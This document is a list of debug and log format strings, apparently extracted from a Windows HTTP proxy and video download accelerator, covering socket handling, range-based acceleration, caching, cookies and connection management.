[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d
[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d
[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader
HttpProxyRemote::UpdateRequest
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.
[HttpProxyRemote::ReStartCurrentJob]
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !
[HttpProxyRemote::UpdateParameters] ___Error invalid job or request
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)
HttpProxyRemote::StartJob
[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d
[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d
[RequestInfo::SetPassThrough] Req:%d - ON
[RequestInfo] Req:%d
[~RequestInfo] Req:%d
https:
%s=%s%s%s
[HttpCookieJar::GetCookie] Removing cookie: %s
[HttpCookieJar::SetCookies] Removing cookie: %s
[NetworkEventsSink::RefreshSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::ClearSocketMessages] Messages: %d
[NetworkEventsSink::Find] socket %d - was found.
[NetworkEventsSink::Find] socket %d
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d
[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d
[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d
[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.
UNSUPPORTED_EVENT
[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.
[NetworkEventsSink::Work] The class %s was register.
[NetworkEventsSink::Work] ___Error register the class %s. LE: %d
[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.
[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.
[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink
[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.
[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.
[NetworkEventsSink::AddSocket] socket %d - Added events sink.
[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.
[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink
[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.
[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d
[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s
[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s
[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s
[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d
[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s
[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::FindCacheData] Url: %s
Cookie: %s
[CHttpCacheManager::DestroyCacheData] Url: %s
[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s
[CHttpCacheManager::StopAllCaching]
[CHttpCacheManager::Work] ...Leave
[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d
[CHttpCacheManager::Work] Enter...
[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d
[AsyncSocket::Read] socket %d, Read: %d, Total: %lld
[AsyncSocket::Read] ___Warning - socket %d can't read from yet.
[AsyncSocket::Read] ___Error reading from socket %d. LE: %d
[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)
[AsyncSocket::Write] ___Error - socket %d. LE: %d.
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.
[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...
[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).
[AsyncSocket::Write] ___Error - socket %d invalid.
[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u
%u.%u.%u.%u
[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u
[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d
[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X
[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p
[AsyncSocket::GetOverlappedResult] socket %d
[AsyncSocket] socket %d
[AsyncSocket::Initialize] socket %d was initialized.
[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.
[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d
[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d
[AsyncSocket::UnInitialize] socket %d
[AsyncSocket::Close] socket %d, do nothing
[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection
[AsyncSocket::Close] socket %d
[~AsyncSocket] socket %d
[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d
[AsyncSocket::Bind] new socket %d - %s : %d
[AsyncSocket::Bind] socket %d - %s : %d
[AsyncSocket::Connect] socket %d - connected !
[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d
[AsyncSocket::Connect] ___Error socket %d, LE: %d
[AsyncSocket::Connect] socket %d - Already connected !
[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u
[AsyncSocket::Connect] socket %d - IP: %s, Port: %u
[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)
[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)
[CProxyServerPassThrough] FDM=%d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d
[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.
[SubjectDataProperty::Serialize] ___Error not supported yet
[SubjectDataProperty::Deserialize] ___Error not supported yet
m_PropertyValue.pszValue
m_PropertyValue.pValue
[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p
[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p
[CacheManager::Pause] FDM=%d
[CacheManager::Resume] FDM=%d
[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)
[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld
[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)
[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...
[CacheManager::StopCacheData] FDM=%d
[CacheManager::Stop] FDM=%d
[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!
[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld
[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty
[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld
[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***
[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)
[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d
[CacheManager::RemoveAllWorkers] FDM=%d
[~CacheManager - %p] FDM=%d
[CacheManager::Reset] FDM=%d
[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p
[JobsManager::MergeFailedJobs] Job:%d  = Job:%d
[JobsManager::CreateJob] Job:%d, %lld-%lld
[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist
[JobsManager::CreateTimeJob] Job:%d, %lld-0
[JobsManager::DestroyJob] Job:%d
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION
[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)
[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)
[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.
[AccelerationLogicHD::IsPartner] Partner = %d
[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d
[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld
[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d
[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges
[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d
[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d
[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld
[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)
[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...
[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)
[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)
[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain
AccelerationLogicHD::AccelerateIsSupported
[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)
[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)
[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command
[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet
[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule
[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d
[AccelerationLogicHD::Reset] FDM=%d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d
[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule
[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d
[CConnectionsManager::ResetStartAcceleration] AvgBps: %d
[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)
[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)
[CConnectionsManagerSocket] socket %d
[CConnectionsManagerSocket::OnReadEvent] socket %d
[CConnectionsManagerSocket::OnWriteEvent] socket %d
[CConnectionsManagerSocket::OnCloseEvent] socket %d
[CConnectionsManagerSocket::OnAcceptEvent] socket %d
[CConnectionsManagerSocket::OnConnectEvent] socket %d
[~CConnectionsManagerSocket] socket %d
[CConnectionsManager::OnReadEvent] socket %d
[CConnectionsManager::OnWriteEvent] socket %d
[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms
[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d
[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d
[CConnectionsManager::AddConnection] ___Warning socket %d - not connected
